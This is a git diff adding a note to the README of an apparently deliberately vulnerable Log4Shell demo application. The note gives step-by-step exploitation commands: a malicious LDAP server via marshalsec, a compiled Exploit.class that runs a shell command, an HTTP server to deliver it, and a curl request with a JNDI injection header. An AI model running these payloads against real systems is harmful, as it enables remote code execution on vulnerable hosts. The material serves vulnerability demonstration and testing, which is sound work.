diff --git a/README.md b/README.md
index a79966c..2029875 100644
--- a/README.md
+++ b/README.md
@@ -46,6 +46,36 @@ You will see the following stack trace in the application logs:
 	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
 ```
 
+## Note
+
+While this is enough to show the application is vulnerable, I do not have a full PoC yet. As explained in LunaSec's advisory, the exploitation steps should be:
+* Use [MarshelSec](https://github.com/mbechler/marshalsec) to run a malicious LDAP server:
+
+```
+java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-local-ip:8888/#Exploit"
+```
+
+* Generate `Exploit.class` as follows:
+
+```
+cat >> Exploit.java <<EOF
+class Exploit {
+    static {
+        try { Runtime.getRuntime().exec("touch /pwned"); } catch(Exception e) {}
+    }
+}
+EOF
+javac Exploit.java
+```
+
+* Make the file available: `python3 -m http.server --bind 0.0.0.0 8888`
+
+* Trigger the exploit: `curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.143:1389}`
+
+Unfortunately, I am experiencing the same issue with marshalsec as other people (see [marshalsec#20](https://github.com/mbechler/marshalsec/issues/20)) where the first-stage of the exploit is triggered, but the second stage is not.
+
+That said, I believe the output above is enough to demonstrate the application is vulnerable, since (1) it connects to the LDAP server, and (2) it doesn't connect to the LDAP server when using a patched version of log4j.
+
 ## Reference
 
 https://www.lunasec.io/docs/blog/log4j-zero-day/
\ No newline at end of file